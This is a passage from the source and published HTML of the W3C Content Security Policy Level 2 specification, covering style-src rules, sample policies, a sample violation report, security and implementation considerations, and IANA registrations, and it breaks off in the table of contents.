   exception <em>and</em> terminate the algorithm. This would include,\n      for example, all invocations of CSSOM's various <code>cssText</code>\n      setters and <code>insertRule</code> methods. [[!CSSOM]] [[!HTML5]]</li>\n    </ul>\n\n    Whenever the user agent <a>fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a lt=\"match a source list\">match</a> the <a>allowed style sources</a>\n    for the <a>protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a>report\n    a violation</a>:\n\n    <ul>\n      <li>\n        Requesting an external stylesheet when processing the\n        <a element-attr for=\"link\">href</a> of a <a element>link</a> element\n        whose <a element-attr for=\"link\">rel</a> attribute contains the token\n        <code><a lt=\"link type stylesheet\">stylesheet</a></code>.\n      </li>\n      <li>\n        Requesting an external stylesheet when processing the <<@import>>\n        directive.\n      </li>\n      <li>\n        Requesting an external stylesheet when processing a <code>Link</code>\n        HTTP response header field. [[!RFC5988]]\n\n        Note: As this stylesheet might be prefetched before a {{Document}}\n        actually exists, user agents will need to carefully consider how to\n        instantiate a meaningful <a>policy</a> against which to compare this\n        request. See [[#complications]] for more detail.\n      </li>\n    </ul>\n\n    Note: The <code>style-src</code> directive does not restrict the\n    use of XSLT. XSLT is restricted by the <code><a>script-src</a></code>\n    directive because the security consequences of including an untrusted\n    XSLT stylesheet are similar to those incurred by including an\n    untrusted script.\n\n    <section class=\"informative\">\n      <h4 id=\"style-src-nonce-usage\">\n        Nonce usage for <code><a element>style</a></code> elements\n      </h4>\n\n      <em>This section is not normative.</em>\n\n      See the <a href=\"#script-src-nonce-usage\"><code>script-src</code>\n      nonce usage information</a> for detail; the application of nonces\n      to <code><a element>style</a></code> elements is similar enough to avoid\n      repetition here.\n    </section>\n    <section class=\"informative\">\n      <h4 id=\"style-src-hash-usage\">\n        Hash usage for <code><a element>style</a></code> elements\n      </h4>\n\n      <em>This section is not normative.</em>\n\n      See the <a href=\"#script-src-hash-usage\"><code>script-src</code>\n      hash usage information</a> for detail; the application of hashes\n      to <code><a element>style</a></code> elements is similar enough to avoid\n      repetition here.\n    </section>\n  </section>\n</section>\n\n<!--\n████████ ██     ██    ███    ██     ██ ████████  ██       ████████  ██████\n██        ██   ██    ██ ██   ███   ███ ██     ██ ██       ██       ██    ██\n██         ██ ██    ██   ██  ████ ████ ██     ██ ██       ██       ██\n██████      ███    ██     ██ ██ ███ ██ ████████  ██       ██████    ██████\n██         ██ ██   █████████ ██     ██ ██        ██       ██             ██\n██        ██   ██  ██     ██ ██     ██ ██        ██       ██       ██    ██\n████████ ██     ██ ██     ██ ██     ██ ██        ████████ ████████  ██████\n-->\n<section>\n  <h2 id=\"examples\">Examples</h2>\n\n  <section class=\"informative\">\n    <h3 id=\"example-policies\">Sample Policy Definitions</h3>\n\n    This section provides some sample use cases and supporting <a>policies</a>.\n\n    <div class=\"example\">\n      A server wishes to load resources only from its own origin:\n\n      <pre>Content-Security-Policy: <a>default-src</a> 'self'</pre>\n    </div>\n\n    <div class=\"example\">\n      An auction site wishes to load images from any URL, plugin content from a\n      list of trusted media providers (including a content distribution network),\n      and scripts only from a server under its control hosting sanitized\n      ECMAScript:\n\n      <pre>\n        Content-Security-Policy:\n            <a>default-src</a> 'self'; img-src *;\n            <a>object-src</a> media1.example.com media2.example.com *.cdn.example.com;\n            <a>script-src</a> trustedscripts.example.com\n      </pre>\n    </div>\n\n    <div class=\"example\">\n      An online banking site wishes to ensure that all of the content in its pages\n      is loaded over TLS to prevent attackers from eavesdropping on insecure\n      content requests:\n\n      <pre>Content-Security-Policy: <a>default-src</a> https: 'unsafe-inline' 'unsafe-eval'</pre>\n\n      This policy allows inline content (such as inline\n      <code><a element>script</a></code> elements), use of <code>eval</code>,\n      and loading resources over <code>https</code>. Note: This policy does\n      not provide any protection from cross-site scripting vulnerabilities.\n    </div>\n\n    <div class=\"example\">\n      A website that relies on inline <code><a element>script</a></code> elements\n      wishes to ensure that script is only executed from its own origin, and those\n      elements it intentionally inserted inline:\n\n      <pre>Content-Security-Policy: <a>script-src</a> 'self' 'nonce-<em>$RANDOM</em>';</pre>\n\n      The inline <code><a element>script</a></code> elements would then only\n      execute if they contained a matching\n      <code><a element-attr for=\"script\">nonce</a></code> attribute:\n\n      <pre>&lt;script nonce=\"<em>$RANDOM</em>\"&gt;...&lt;/script&gt;</pre>\n    </div>\n  </section>\n\n  <section class=\"informative\">\n    <h3 id=\"example-violation-report\">Sample Violation Report</h3>\n\n    This section contains an example violation report the user agent\n    might sent to a server when the protected resource violations a sample\n    policy.\n\n    In the following example, the user agent rendered a representation\n    of the resource <code>http://example.org/page.html</code> with the\n    following policy:\n\n    <pre><a>default-src</a> 'self'; <a>report-uri</a> http://example.org/csp-report.cgi</pre>\n\n    The protected resource loaded an image from\n    <code>http://evil.example.com/image.png</code>, violating the\n    policy.\n\n    <pre>\n      {\n        \"csp-report\": {\n          \"document-uri\": \"http://example.org/page.html\",\n          \"referrer\": \"http://evil.example.com/haxor.html\",\n          \"blocked-uri\": \"http://evil.example.com/image.png\",\n          \"violated-directive\": \"default-src 'self'\",\n          \"effective-directive\": \"img-src\",\n          \"original-policy\": \"default-src 'self'; report-uri http://example.org/csp-report.cgi\"\n        }\n      }\n    </pre>\n  </section>\n</section>\n\n<!--\n ██████  ████████  ██████  ██     ██ ████████  ████ ████████ ██    ██        ██████   ███████  ██    ██  ██████  ████ ████████  ████████ ████████     ███    ████████ ████  ███████  ██    ██  ██████\n██    ██ ██       ██    ██ ██     ██ ██     ██  ██     ██     ██  ██        ██    ██ ██     ██ ███   ██ ██    ██  ██  ██     ██ ██       ██     ██   ██ ██      ██     ██  ██     ██ ███   ██ ██    ██\n██       ██       ██       ██     ██ ██     ██  ██     ██      ████         ██       ██     ██ ████  ██ ██        ██  ██     ██ ██       ██     ██  ██   ██     ██     ██  ██     ██ ████  ██ ██\n ██████  ██████   ██       ██     ██ ████████   ██     ██       ██          ██       ██     ██ ██ ██ ██  ██████   ██  ██     ██ ██████   ████████  ██     ██    ██     ██  ██     ██ ██ ██ ██  ██████\n      ██ ██       ██       ██     ██ ██   ██    ██     ██       ██          ██       ██     ██ ██  ████       ██  ██  ██     ██ ██       ██   ██   █████████    ██     ██  ██     ██ ██  ████       ██\n██    ██ ██       ██    ██ ██     ██ ██    ██   ██     ██       ██          ██    ██ ██     ██ ██   ███ ██    ██  ██  ██     ██ ██       ██    ██  ██     ██    ██     ██  ██     ██ ██   ███ ██    ██\n ██████  ████████  ██████   ███████  ██     ██ ████    ██       ██           ██████   ███████  ██    ██  ██████  ████ ████████  ████████ ██     ██ ██     ██    ██    ████  ███████  ██    ██  ██████\n-->\n<section>\n  <h2 id=\"security-considerations\">Security Considerations</h2>\n  <section>\n    <h3 id=\"security-css-parsing\">Cascading Style Sheet (CSS) Parsing</h3>\n\n    The <code><a>style-src</a></code> directive restricts the locations from\n    which the protected resource can load styles. However, if the user agent uses a\n    lax CSS parsing algorithm, an attacker might be able to trick the user\n    agent into accepting malicious \"stylesheets\" hosted by an otherwise\n    trustworthy origin.\n\n    These attacks are similar to the <a\n    href=\"http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\">CSS\n    cross-origin data leakage</a> attack described by Chris Evans in 2009.\n    User agents SHOULD defend against both attacks using the same\n    mechanism: stricter CSS parsing rules for style sheets with improper\n    MIME types.\n  </section>\n\n  <section>\n    <h3 id=\"security-redirects\">Redirect Information Leakage</h3>\n\n    The violation reporting mechanism in this document has been\n    designed to mitigate the risk that a malicious web site could use\n    violation reports to probe the behavior of other servers. For example,\n    consider a malicious web site that white lists <code>https://example.com</code>\n    as a source of images. If the malicious site attempts to load\n    <code>https://example.com/login</code> as an image, and the\n    <code>example.com</code> server redirects to an identity provider (e.g.,\n    <code>identityprovider.example.net</code>), CSP will block the request.\n    If violation reports contained the full blocked URL, the violation\n    report might contain sensitive information contained in the redirected URL,\n    such as session identifiers or purported identities. For this reason, the\n    user agent includes only the origin of the blocked URL.\n\n    The mitigations are not complete, however: redirects which are blocked will\n    produce side-effects which may be visible to JavaScript (via\n    <code>img.naturalHeight</code>, for instance). An earlier version of this\n    specification defined a\n    <a href=\"http://www.w3.org/TR/2015/CR-CSP2-20150721/#csp-request-header\"><code>CSP</code>\n    request header</a> which servers could use (in conjunction with the\n    <code>referer</code> and <code>origin</code> headers) to determine whether\n    or not it was completely safe to redirect a user. This header caused some\n    issues with CORS processing (tracked in\n    <a href=\"https://github.com/whatwg/fetch/issues/52\">whatwg/fetch#52</a>),\n    and has been punted to the next version of this document.\n  </section>\n</section>\n\n<!--\n████ ██     ██ ████████  ██       ████████ ██     ██ ████████ ██    ██ ████████    ███    ████████ ████  ███████  ██    ██        ██████   ███████  ██    ██  ██████  ████ ████████  ████████ ████████     ███    ████████ ████  ███████  ██    ██  ██████\n ██  ███   ███ ██     ██ ██       ██       ███   ███ ██       ███   ██    ██      ██ ██      ██     ██  ██     ██ ███   ██       ██    ██ ██     ██ ███   ██ ██    ██  ██  ██     ██ ██       ██     ██   ██ ██      ██     ██  ██     ██ ███   ██ ██    ██\n ██  ████ ████ ██     ██ ██       ██       ████ ████ ██       ████  ██    ██     ██   ██     ██     ██  ██     ██ ████  ██       ██       ██     ██ ████  ██ ██        ██  ██     ██ ██       ██     ██  ██   ██     ██     ██  ██     ██ ████  ██ ██\n ██  ██ ███ ██ ████████  ██       ██████   ██ ███ ██ ██████   ██ ██ ██    ██    ██     ██    ██     ██  ██     ██ ██ ██ ██       ██       ██     ██ ██ ██ ██  ██████   ██  ██     ██ ██████   ████████  ██     ██    ██     ██  ██     ██ ██ ██ ██  ██████\n ██  ██     ██ ██        ██       ██       ██     ██ ██       ██  ████    ██    █████████    ██     ██  ██     ██ ██  ████       ██       ██     ██ ██  ████       ██  ██  ██     ██ ██       ██   ██   █████████    ██     ██  ██     ██ ██  ████       ██\n ██  ██     ██ ██        ██       ██       ██     ██ ██       ██   ███    ██    ██     ██    ██     ██  ██     ██ ██   ███       ██    ██ ██     ██ ██   ███ ██    ██  ██  ██     ██ ██       ██    ██  ██     ██    ██     ██  ██     ██ ██   ███ ██    ██\n████ ██     ██ ██        ████████ ████████ ██     ██ ████████ ██    ██    ██    ██     ██    ██    ████  ███████  ██    ██        ██████   ███████  ██    ██  ██████  ████ ████████  ████████ ██     ██ ██     ██    ██    ████  ███████  ██    ██  ██████\n-->\n<section>\n  <h2 id=\"implementation-considerations\">Implementation Considerations</h2>\n\n  The <code><a>Content-Security-Policy</a></code> header is an end-to-end\n  header. It is processed and enforced at the client and, therefore,\n  SHOULD NOT be modified or removed by proxies or other intermediaries not\n  in the same administrative domain as the resource.\n\n  The originating administrative domain for a resource might wish to\n  apply a <code><a>Content-Security-Policy</a></code> header outside of the\n  immediate context of an application. For example, a large organization\n  might have many resources and applications managed by different\n  individuals or teams but all subject to a uniform organizational\n  standard. In such situations, a <code><a>Content-Security-Policy</a></code>\n  header might be added or combined with an existing one at a network-edge\n  security gateway device or web application firewall. To enforce multiple\n  policies, the administrator SHOULD combine the policy into a single header.\n  An administrator might wish to use different combination algorithms\n  depending on his or her intended semantics.\n\n  One sensible policy combination algorithm is to start by allowing a\n  default set of sources and then letting individual upstream resource\n  owners expand the set of allowed sources by including additional origins.\n  In this approach, the resultant policy is the union of all allowed\n  origins in the input policies.\n\n  Another sensible policy combination algorithm is to intersect the\n  given policies. This approach enforces that content comes from a certain\n  whitelist of origins, for example, preventing developers from including\n  third-party scripts or content in violation of organizational standards\n  and practices. In this approach, the combination algorithm forms the\n  combined policy by removing disallowed hosts from the policies supplied\n  by upstream resource owners.\n\n  Interactions between the <code><a>default-src</a></code> and other directives\n  SHOULD be given special consideration when combining policies. If none\n  of the policies contains a <code><a>default-src</a></code> directive, adding new\n  src directives results in a more restrictive policy. However, if one or\n  more of the input policies contain a <code><a>default-src</a></code> directive,\n  adding new src directives might result in a less restrictive policy, for\n  example, if the more specific directive contains a more permissive set of\n  allowed origins.\n\n  Using a more restrictive policy than the input policy authored by the\n  resource owner might prevent the resource from rendering or operating as\n  intended.\n\n  Note: Migration to <code>HTTPS</code> from <code>HTTP</code>\n  may require updates to the policy in order to keep things running as\n  before. Source expressions like <code>http://example.com</code> do\n  <em>not</em> match <code>HTTPS</code> resources. For example,\n  administrators SHOULD carefully examine existing policies before rolling\n  out <a href=\"https://tools.ietf.org/html/rfc6797\">HTTP Strict Transport Security</a>\n  headers for an application. [[RFC6797]]\n\n  <div class=\"note\">\n    Server administrators MAY wish to send multiple policies if different\n    reporting options are desired for subsets of an overall policy. For instance,\n    the following headers:\n\n    <pre>\n        Content-Security-Policy: <a>frame-ancestors</a> https://example.com/ \n        Content-Security-Policy: <a>default-src</a> https:; report-uri https://example.com/\n    </pre>\n\n    would send violation reports for <code>http</code> resources, but would not\n    send violation reports for <code><a>frame-ancestors</a></code> violations.\n    Note also that combining them via '<code>,</code>' into the single header\n\n    <pre>\n        Content-Security-Policy: <a>frame-ancestors</a> https://example.com/, <a>default-src</a> https:; report-uri https://example.com/\n    </pre>\n\n    would have the same effect, as the comma splits the header during parsing.\n  </div>\n\n  <h3 id=\"complications\">Processing Complications</h3>\n\n  Many user agents implement some form of optimistic resource fetching algorithm\n  to speed up page loads. In implementing these features, user agents MUST\n  ensure that these optimizations do not alter the behavior of the page's\n  security policy.\n\n  Here, we'll note a few potential complications that could cause bugs in\n  implementations:\n\n  <ol>\n    <li>\n      The <a>frame-ancestor</a> directive MUST take effect before a document is\n      loaded into a <a>nested browsing context</a>, and certainly before script\n      is potentially executed. One way to approach this constraint is to perform\n      the ancestor check defined in [[#directive-frame-ancestors]] while parsing\n      the document's headers. This might mean that no document object is\n      available at all, which can complicate checks against <code>'self'</code>,\n      and <a>scheme</a>- or <a>port</a>-relative source expressions.\n    </li>\n    <li>\n      Likewise, the <code>Link</code> HTTP response header could generate\n      requests for stylesheet resources before a document is available. User\n      agents MUST ensure that any policy contained in the response headers is\n      parsed and effective <em>before</em> these requests are generated. For\n      example, a response returning the following headers:\n\n      <pre>\n        Content-Security-Policy: style-src 'none'\n        Link: &lt;awesome.css&gt;; rel=stylesheet\n      </pre>\n\n      MUST have the same behavior as a response returning the following headers:\n\n      <pre>\n        Link: &lt;awesome.css&gt;; rel=stylesheet\n        Content-Security-Policy: style-src 'none'\n      </pre>\n\n      namely, both must block requests for the stylesheet. To meet this\n      requirement user agents MUST wait until all headers have been processed\n      before beginning to prefetch resources.\n    </li>\n  </ol>\n</section>\n\n<!--\n████    ███    ██    ██    ███\n ██    ██ ██   ███   ██   ██ ██\n ██   ██   ██  ████  ██  ██   ██\n ██  ██     ██ ██ ██ ██ ██     ██\n ██  █████████ ██  ████ █████████\n ██  ██     ██ ██   ███ ██     ██\n████ ██     ██ ██    ██ ██     ██\n-->\n<section>\n  <h2 id=\"iana-considerations\">IANA Considerations</h2>\n\n  The permanent message header field registry should be updated\n  with the following registrations: [[!RFC3864]]\n\n  <section>\n    <h3 id=\"iana-content-security-policy\">Content-Security-Policy</h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>Content-Security-Policy</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See <code><a>Content-Security-Policy</a></code>\n      Header Field)</dd>\n    </dl>\n  </section>\n\n  <section>\n    <h3 id=\"iana-content-security-policy-report-only\">Content-Security-Policy-Report-Only</h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>Content-Security-Policy-Report-Only</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See\n      <code><a>Content-Security-Policy-Report-Only</a></code> Header Field)</dd>\n    </dl>\n  </section>\n</section>\n\n<section>\n  <h2 id=\"acknowledgements\">Acknowledgements</h2>\n\n  In addition to the documents in the W3C Web Application Security working\n  group, the work on this document is also informed by the work of the\n  <a href=\"https://tools.ietf.org/wg/websec/\">IETF websec working group</a>,\n  particularly that working group's requirements document:\n  <a href=\"https://tools.ietf.org/id/draft-hodges-websec-framework-reqs\">draft-hodges-websec-framework-reqs</a>.\n\n  A portion of the <code><a>frame-ancestors</a></code> directive was\n  originally developed as <code>X-Frame-Options</code>. [[RFC7034]]\n\n  Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided\n  particularly insightful feedback to keep this specification sane.\n</section>\n"
  },
  {
    "path": "2/published/2015-02-CR.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n <head>\n  \n  <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n  \n  \n  <title>Content Security Policy Level 2</title>\n  \n  \n  <link href=\"default.css\" rel=\"stylesheet\" type=\"text/css\">\n  \n  \n  <link href=\"https://www.w3.org/StyleSheets/TR/W3C-CR\" rel=\"stylesheet\" type=\"text/css\">\n  \n\n  <meta content=\"Bikeshed 1.0.0\" name=\"generator\">\n  <style>\n      table {\n        text-align: left;\n        margin: 20px;\n        width: 100%;\n        border-collapse: collapse;\n      }\n\n      tbody tr:nth-child(odd) {\n        background-color: #EEE;\n      }\n\n      th {\n        border-bottom: 1px solid #999;\n        padding: 0.5em;\n      }\n\n      td:first-child {\n        width: 30%;\n        padding-right: 1em;\n      }\n\n      td {\n        vertical-align: top;\n        padding: 0.5em;\n      }\n\n      tbody th {\n        border: 0;\n        background-color: #FFF;\n      }\n\n      tr.section {\n        border-top: 1px solid #999;\n        vertical-align: top;\n      }\n    </style>\n  \n\n    \n </head>\n \n\n <body class=\"h-entry\">\n\n  <div class=\"head\">\n  \n   <p data-fill-with=\"logo\"><a class=\"logo\" href=\"http://www.w3.org/\">\n    <img alt=\"W3C\" height=\"48\" src=\"https://www.w3.org/Icons/w3c_home\" width=\"72\">\n</a>\n</p>\n  \n   <h1 class=\"p-name no-ref\" id=\"title\">Content Security Policy Level 2</h1>\n  \n   <h2 class=\"no-num no-toc no-ref heading settled\" id=\"subtitle\"><span class=\"content\">W3C Candidate Recommendation,\n    <time class=\"dt-updated\" datetime=\"2015-02-19\">19 February 2015</time></span></h2>\n  \n   <div data-fill-with=\"spec-metadata\">\n    <dl>\n     <dt>This version:\n     <dd><a class=\"u-url\" href=\"http://www.w3.org/TR/2015/CR-CSP2-20150219/\">http://www.w3.org/TR/2015/CR-CSP2-20150219/</a>\n     <dt>Latest version:\n     <dd><a href=\"http://www.w3.org/TR/CSP2/\">http://www.w3.org/TR/CSP2/</a>\n     <dt>Editor's Draft:\n     <dd><a href=\"https://w3c.github.io/webappsec/specs/CSP2/\">https://w3c.github.io/webappsec/specs/CSP2/</a>\n     <dt>Previous Versions:\n     <dd><a href=\"http://www.w3.org/TR/2014/WD-CSP2-20140703/\" rel=\"previous\">http://www.w3.org/TR/2014/WD-CSP2-20140703/</a>\n     <dd><a href=\"http://www.w3.org/TR/2014/WD-CSP11-20140211/\" rel=\"previous\">http://www.w3.org/TR/2014/WD-CSP11-20140211/</a>\n     <dd><a href=\"http://www.w3.org/TR/2012/CR-CSP-20121115/\" rel=\"previous\">http://www.w3.org/TR/2012/CR-CSP-20121115/</a>\n     <dt>Feedback:\n     <dd><span><a href=\"mailto:public-webappsec@w3.org?subject=%5BCSP2%5D%20feedback\">public-webappsec@w3.org</a> with subject line “<kbd>[CSP2] <var>… message topic …</var></kbd>” (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\" rel=\"discussion\">archives</a>)</span>\n     <dt class=\"editor\">Editors:\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"56384\"><a class=\"p-name fn u-email email\" href=\"mailto:mkwst@google.com\">Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"39502\"><a class=\"p-name fn u-email email\" href=\"mailto:w3c@adambarth.com\">Adam Barth</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"41156\"><a class=\"p-name fn u-email email\" href=\"mailto:dveditz@mozilla.com\">Dan Veditz</a> (<span class=\"p-org org\">Mozilla Corporation</span>)\n     <dt>Former Editors:\n     <dd>\n      <dd class=\"editor p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=\"mailto:brandon@hackmill.com\">Brandon Sterne</a> (<span class=\"p-org org\">formerly of Mozilla Corporation</span>)\n    </dl>\n   </div>\n  \n   <div data-fill-with=\"warning\"></div>\n  \n   <p class=\"copyright\" data-fill-with=\"copyright\"><a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Copyright\">Copyright</a> © 2015 <a href=\"http://www.w3.org/\"><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup> (<a href=\"http://www.csail.mit.edu/\"><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>, <a href=\"http://www.ercim.eu/\"><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>, <a href=\"http://www.keio.ac.jp/\">Keio</a>, <a href=\"http://ev.buaa.edu.cn/\">Beihang</a>). W3C <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer\">liability</a>, <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks\">trademark</a> and <a href=\"http://www.w3.org/Consortium/Legal/copyright-documents\">document use</a> rules apply.\n</p>\n  \n   <hr title=\"Separator for header\">\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"abstract\"><span class=\"content\">Abstract</span></h2>\n\n  <div class=\"p-summary\" data-fill-with=\"abstract\">\n   <p>This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.</p>\n\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"status\"><span class=\"content\">Status of this document</span></h2>\n\n  <div data-fill-with=\"status\">\n   <p>\n  <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=\"http://www.w3.org/TR/\">W3C technical reports\n  index at http://www.w3.org/TR/.</a></em>\n\n</p>\n   <p>\n  This document was published by the\n  <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a>\n  as a Candidate Recommendation. This document is intended to become a W3C Recommendation.\n  This document will remain a Candidate Recommendation at least until 1 July 2015 in order\n  to ensure the opportunity for wide review.\n\n</p>\n   <p>\n\tThe (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\">archived</a>) public mailing list\n\t<a href=\"mailto:public-webappsec@w3.org?Subject=%5BCSP2%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a>\n\t(see <a href=\"http://www.w3.org/Mail/Request\">instructions</a>)\n\tis preferred for discussion of this specification.\n\tWhen sending e-mail,\n\tplease put the text “CSP2” in the subject,\n\tpreferably like this:\n\t“[CSP2] <em>…summary of comment…</em>”\n\n</p>\n   <p>\n  Publication as a Candidate Recommendation does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress.\n\n</p>\n   <p>\n  The entrance criteria for this document to enter the Proposed Recommendation stage\n  is to have a minimum of two independent and interoperable user agents that\n  implementation all the features of this specification, which will be determined by\n  passing the user agent tests defined in the test suite developed by the Working\n  Group. The Working Group will prepare an implementation report to track progress.\n\n</p>\n   <p>\n\tThis document was produced by a group operating under\n\tthe <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/\">5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=\"http://www.w3.org/2004/01/pp-impl/49309/status\" rel=\"disclosure\">public list of any patent disclosures</a>\n\tmade in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential\">Essential Claim(s)</a>\n\tmust disclose the information in accordance with <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure\">section 6 of the W3C Patent Policy</a>.\n\n</p>\n   <p>\n  This document is governed by the <a href=\"http://www.w3.org/2014/Process-20140801/\" id=\"w3c_process_revision\">1 August 2014 W3C Process Document</a>.\n</p></div>\n\n  <div data-fill-with=\"at-risk\">\n   <p>The following features are at-risk, and may be dropped during the CR period:\n</p>\n   <ul>\n    <li><a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>\n    <li><a href=\"#directive-child-src\">§7.2 child-src</a>\n   </ul></div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"contents\"><span class=\"content\">Table of Contents</span></h2>\n\n  <div data-fill-with=\"table-of-contents\" role=\"navigation\">\n   <ul class=\"toc\" role=\"directory\">\n    <li><a href=\"#intro\"><span class=\"secno\">1</span> <span class=\"content\">Introduction</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#changes-from-level-1\"><span class=\"secno\">1.1</span> <span class=\"content\">Changes from Level 1</span></a>\n     </ul>\n    <li><a href=\"#key-concepts\"><span class=\"secno\">2</span> <span class=\"content\">Key Concepts and Terminology</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#terms-defined-here\"><span class=\"secno\">2.1</span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#terms-defined-by-reference\"><span class=\"secno\">2.2</span> <span class=\"content\">Terms defined by reference</span></a>\n      <li><a href=\"#html-concepts\"><span class=\"secno\">2.3</span> <span class=\"content\">Relevant Concepts from HTML</span></a>\n      <li><a href=\"#grammar\"><span class=\"secno\">2.4</span> <span class=\"content\">Grammatical Concepts</span></a>\n     </ul>\n    <li><a href=\"#policy-delivery\"><span class=\"secno\">3</span> <span class=\"content\">Policy Delivery</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#content-security-policy-header-field\"><span class=\"secno\">3.1</span> <span class=\"content\">\n      <code>Content-Security-Policy</code> Header Field\n    </span></a>\n      <li><a href=\"#content-security-policy-report-only-header-field\"><span class=\"secno\">3.2</span> <span class=\"content\">\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span></a>\n      <li><a href=\"#delivery-html-meta-element\"><span class=\"secno\">3.3</span> <span class=\"content\">\n      HTML <code><span data-lt=\"meta\">meta</span></code> Element\n    </span></a>\n      <li><a href=\"#csp-request-header\"><span class=\"secno\">3.4</span> <span class=\"content\">The <code>CSP</code> HTTP Request Header</span></a>\n      <li><a href=\"#enforcing-multiple-policies\"><span class=\"secno\">3.5</span> <span class=\"content\">Enforcing multiple policies.</span></a>\n      <li><a href=\"#which-policy-applies\"><span class=\"secno\">3.6</span> <span class=\"content\">Policy applicability</span></a>\n     </ul>\n    <li><a href=\"#syntax-and-algorithms\"><span class=\"secno\">4</span> <span class=\"content\">Syntax and Algorithms</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#policy-syntax\"><span class=\"secno\">4.1</span> <span class=\"content\">Policy Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#policy-parsing\"><span class=\"secno\">4.1.1</span> <span class=\"content\">Parsing Policies</span></a>\n       </ul>\n      <li><a href=\"#source-list-syntax\"><span class=\"secno\">4.2</span> <span class=\"content\">Source List Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#source-list-parsing\"><span class=\"secno\">4.2.1</span> <span class=\"content\">Parsing Source Lists</span></a>\n        <li><a href=\"#match-source-expression\"><span class=\"secno\">4.2.2</span> <span class=\"content\">Matching Source Expressions</span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#source-list-guid-matching\"><span class=\"secno\">4.2.2.1</span> <span class=\"content\">\n          Security Considerations for GUID URL schemes\n        </span></a>\n          <li><a href=\"#source-list-path-patching\"><span class=\"secno\">4.2.2.2</span> <span class=\"content\">Path Matching</span></a>\n          <li><a href=\"#source-list-paths-and-redirects\"><span class=\"secno\">4.2.2.3</span> <span class=\"content\">Paths and Redirects</span></a>\n         </ul>\n        <li><a href=\"#script-src-the-nonce-attribute\"><span class=\"secno\">4.2.3</span> <span class=\"content\">\n        The <code>nonce</code> attribute\n      </span></a>\n        <li><a href=\"#source-list-valid-nonces\"><span class=\"secno\">4.2.4</span> <span class=\"content\">Valid Nonces</span></a>\n        <li><a href=\"#source-list-valid-hashes\"><span class=\"secno\">4.2.5</span> <span class=\"content\">Valid Hashes</span></a>\n       </ul>\n      <li><a href=\"#media-type-list-syntax\"><span class=\"secno\">4.3</span> <span class=\"content\">Media Type List Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#media-type-list-parsing\"><span class=\"secno\">4.3.1</span> <span class=\"content\">Parsing</span></a>\n        <li><a href=\"#media-type-list-matching\"><span class=\"secno\">4.3.2</span> <span class=\"content\">Matching</span></a>\n       </ul>\n      <li><a href=\"#violation-reports\"><span class=\"secno\">4.4</span> <span class=\"content\">Reporting</span></a>\n     </ul>\n    <li><a href=\"#processing-model\"><span class=\"secno\">5</span> <span class=\"content\">Processing Model</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#processing-model-workers\"><span class=\"secno\">5.1</span> <span class=\"content\">Workers</span></a>\n      <li><a href=\"#processing-model-iframe-srcdoc\"><span class=\"secno\">5.2</span> <span class=\"content\"><code>srcdoc</code> IFrames</span></a>\n     </ul>\n    <li><a href=\"#script-interfaces\"><span class=\"secno\">6</span> <span class=\"content\">Script Interfaces</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#securitypolicyviolationevent-interface\"><span class=\"secno\">6.1</span> <span 